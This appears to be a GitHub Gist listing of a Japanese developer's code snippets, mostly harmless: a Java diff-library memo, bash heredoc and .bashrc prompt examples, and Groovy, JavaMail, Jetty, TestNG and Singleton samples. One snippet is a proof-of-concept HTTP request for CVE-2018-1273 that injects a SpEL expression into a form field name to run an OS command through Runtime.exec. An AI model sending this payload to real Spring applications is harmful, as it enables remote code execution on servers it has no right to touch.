Instantly share code, notes, and snippets.

View study-java-diff-implements.md

diff(差分検出アルゴリズム)のJava実装調査メモ

diff(差分検出アルゴリズム)のJavaライブラリが無いか探したので、参考URLの調査メモ。

※URLなどは2018-01-04時点のもの。

アルゴリズムの種類

diffツールでのアルゴリズムについては、ざっくりと以下のWiki参照:

View CVE-2018-1273.http
POST /users HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
View bash-here-doc.sh
# ヒアドキュメントをテキストファイルに保存
cat << EOF > demo.txt
abc
def
EOF
# ヒアドキュメントは標準入力として扱われるので、こんなことも。
psql mydb << SQL
select * from xxxx
insert into xxxx values (1, 2, ...)
View .bashrc
#!/bin/bash
#PS1="[\u@\h \W]\$ "
# very simple:
export PS1="[\u:\W]\$ "
# newline with full:
export PS1="\r\n[\D{%F} \t \u@\H job#\j/his#\!/com#\# \w]\r\n\$ "
# newline normal:
export PS1="\r\n[\D{%F} \t \u:\w]\r\n\$ "
View TestFoo.java
// "(root)/t1/TestFoo.java"
package t1;
import static org.testng.Assert.*;
import org.testng.annotations.*;
public class TestFoo {
static void log(Class k, String mes) {
System.out.println(Thread.currentThread() + " - " + k.toString() + " - " + mes);
}
View 00_README.md

JavaMail + Groovyのサンプル

GroovyでJavaMailの使い方を勉強した時のサンプルコードです。 基本的に JavaMailでのメール送信まとめその1 - あられねこのめも をGroovyでちょこっと手直しした感じのものになります。

サンプルコードの解説

01 - 09 まではひたすらMimeMessageを元にしたメッセージの組み立て方の勉強です。

View start_jetty.groovy
@Grapes([
@Grab('org.eclipse.jetty.aggregate:jetty-all:8.1.10.v20130312'),
@Grab('com.h2database:h2:1.3.171'),
@Grab('javax.servlet:servlet-api:2.5'),
])
import org.eclipse.jetty.server.Server
import org.eclipse.jetty.servlet.*
import org.eclipse.jetty.webapp.*
import javax.servlet.*
import javax.servlet.http.*
View groovy_enum_metaClass_demo1.groovy
// tested on Groovy 1.8.9.
enum GreetEnum {
MORNING("Good Morning"),
AFTERNOON("Good Afternoon"),
EVENING("Good Evening");
static {
MORNING.metaClass.greeting = { String you ->
return delegate.emphasize() + " " + you + ", I'm sleeping..."
}
View hogan_ex1.groovy
@Grab(group='com.github.plecong', module='hogan-groovy', version='3.0')
import com.github.plecong.hogan.Hogan
def expected = ''
def template = null
def data = [:]
def template_s = ''
// {{{ basic compile()
View Singleton.java
package gjt3;
public class Singleton {
private static Singleton instance = null;
private String myarg;
private Singleton(String arg) {
myarg = arg;
}
public synchronized static Singleton getInstance(String arg) {
if (Singleton.instance == null) {